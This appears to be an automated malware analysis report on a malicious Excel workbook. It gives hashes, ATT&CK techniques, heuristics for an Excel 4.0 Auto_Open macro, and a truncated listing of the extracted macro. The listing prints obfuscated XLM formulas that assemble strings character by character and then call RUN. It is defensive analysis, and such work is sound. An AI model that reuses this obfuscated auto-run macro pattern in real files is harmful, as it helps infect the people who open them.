Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f99fb3360b87579c…

MALICIOUS

Office (OLE)

330.5 KB Created: 2020-05-22 10:54:37 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: a16c3d1fa302d189a7bfa21c9a19cdd7 SHA-1: af8e4c05735ce3184549f87757694381304ae89f SHA-256: f99fb3360b87579cbb52114105e5aba9d796ef73d964473d929b142fd23106f8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code. The macro uses the RUN function, indicating an attempt to execute an external payload. The obfuscated string concatenation within the macro suggests an effort to hide the exact nature of the payload or its destination.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 38805 bytes
SHA-256: 08145a9f1ae29291e0f843ad683be84c5a97df767dd47a063cf1164a7013e22c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  3Oyque1APMFqIxAi34uBP5W7z9NcD
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!S35115 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,CT3671,"FORMULA(MID(IJ43583,12,1)&MID(HB44531,5,1)&MID(HB44531,2,1)&MID(FU12076,9,1)&MID(HB44531,3,1)&MID(HB44531,1,1)&MID(HB44531,16,1)&MID(FU12076,15,1)&MID(HB44531,19,1)&MID(HB44531,5,1)&MID(HB44531,10,1)&MID(IJ43583,19,1)&MID(HB44531,11,1)&MID(HB44531,19,1)&MID(FU12076,9,1)&MID(IJ43583,1,1)&MID(IJ43583,2,1)&MID(FU12076,10,1)&MID(IJ43583,11,1)&MID(IJ43583,2,1)&MID(FU12076,13,1)&MID(HB44531,3,1)&MID(HB44531,11,1)&MID(HB44531,16,1)&MID(HB44531,11,1)&MID(FU12076,9,1)&MID(HB44531,14,1)&MID(EG59458,4,1)&MID(FU12076,18,1)&MID(IJ43583,4,1)&MID(IJ43583,5,1)&MID(FU12076,17,1)&MID(IJ43583,1,1)&MID(EG59458,6,1)&MID(IJ43583,18,1)&MID(EG59458,4,1)&MID(IJ43583,2,1)&MID(IJ43583,3,1)&MID(EG59458,6,1)&MID(FU12076,10,1)&MID(FU12076,13,1)&MID(FU12076,10,1),CT3672)",""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,CT3673,GOTO(K15588),""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,J6701,"FORMULA(" !"#$%&'()*+,-./01",P50040)",""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,J6702,RUN(BH14065),""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,HJ6926,"FORMULA(MID(IJ43583,12,1)&MID(HB44531,14,1)&MID(EG59458,4,1)&MID(FU12076,18,1)&MID(IJ43583,3,1)&MID(IJ43583,1,1)&MID(IJ43583,5,1)&MID(IJ43583,4,1)&MID(EG59458,6,1)&MID(IJ43583,18,1)&MID(EG59458,4,1)&MID(FU12076,18,1)&MID(FU12076,17,1)&MID(IJ43583,7,1)&MID(EG59458,6,1)&MID(FU12076,7,1)&MID(HB44531,3,1)&MID(HB44531,1,1)&MID(HB44531,16,1)&MID(FU12076,15,1)&MID(HB44531,19,1)&MID(HB44531,11,1)&MID(HB44531,14,1)&MID(HB44531,7,1)&MID(HB44531,15,1)&MID(HB44531,12,1)&MID(IJ43583,16,1)&MID(IJ43583,18,1)&MID(HB44531,1,1)&MID(FU12076,9,1)&MID(IJ43583,1,1)&MID(FU12076,10,1)&MID(FU12076,7,1)&MID(FU12076,3,1)&MID(EG59458,5,1)&MID(HB44531,1,1)&MID(GN22918,14,1)&MID(EG59458,12,1)&MID(EG59458,14,1)&MID(GN22918,2,1)&MID(EG59458,5,1)&MID(HB44531,15,1)&MID(EG59458,14,1)&MID(EG59458,12,1)&MID(GN22918,11,1)&MID(GN22918,8,1)&MID(EG59458,18,1)&MID(GN22918,10,1)&MID(GN22918,15,1)&MID(FU12076,1,1)&MID(FU12076,3,1)&MID(FU12076,7,1)&MID(HB44531,14,1)&MID(EG59458,4,1)&MID(IJ43583,5,1)&MID(IJ43583,8,1)&MID(FU12076,18,1)&MID(IJ43583,2,1)&MID(EG59458,6,1)&MID(IJ43583,18,1)&MID(EG59458,4,1)&MID(FU12076,18,1)&MID(FU12076,18,1)&MID(IJ43583,6,1)&MID(EG59458,6,1)&MID(FU12076,7,1)&MID(FU12076,3,1)&MID(FU12076,1,1)&MID(FU12076,16,1)&MID(GN22918,15,1)&MID(FU12076,3,1),BU26567)",""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,HJ6927,GOTO(GU38809),""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,IR7616,"FORMULA(MID(IJ43583,12,1)&MID(HB44531,19,1)&MID(HB44531,4,1)&MID(HB44531,5,1)&MID(HB44531,8,1)&MID(HB44531,1,1)&MID(FU12076,9,1)&MID(HB44531,5,1)&MID(HB44531,15,1)&MID(HB44531,1,1)&MID(HB44531,14,1)&MID(HB44531,14,1)&MID(HB44531,11,1)&MID(HB44531,14,1)&MID(FU12076,9,1)&MID(HB44531,2,1)&MID(HB44531,5,1)&MID(HB44531,8,1)&MID(HB44531,1,1)&MID(HB44531,15,1)&MID(FU12076,9,1)&MID(HB44531,14,1)&MID(EG59458,4,1)&MID(IJ43583,1,1)&MID(IJ43583,4,1)&MID(IJ43583,7,1)&MID(IJ43583,5,1)&MID(FU12076,18,1)&MID(EG59458,6,1)&MID(IJ43583,18,1)&MID(EG59458,4,1)&MID(FU12076,14,1)&MID(IJ43583,5,1)&MID(IJ43583,1,1)&MID(EG59458,6,1)&MID(FU12076,10,1)&MID(FU12076,10,1)&MID(FU12076,10,1),IR7619)",""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,IR7617,"FORMULA(MID(IJ43583,12,1)&MID(HB44531,19,1)&MID(IJ43583,16,1)&MID(HB44531,5,1)&MID(HB44531,16,1)&MID(FU12076,9,1)&MID(HB44531,10,1)&MID(HB44531,11,1)&MID(HB44531,19,1)&MID(FU12076,9,1)&MID(FU12076,10,1)&MID(FU12076,12,1)&MID(FU12076,3,1)&MID(FU12076,17,1)&MID(FU12076,17,1)&MID(IJ43583,9,1)&MID(FU12076,17,1)&MID(FU12076,17,1)&MID(IJ43583,9,1)&MID(FU12076,17,1)&MID(FU12076,18,1)&MID(FU12076,3,1)&MID(FU12076,10,1),IR7620)",""
'  3Oyque1APMFqIxAi34uBP5W7z9NcD,IR7618,"FORMU
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.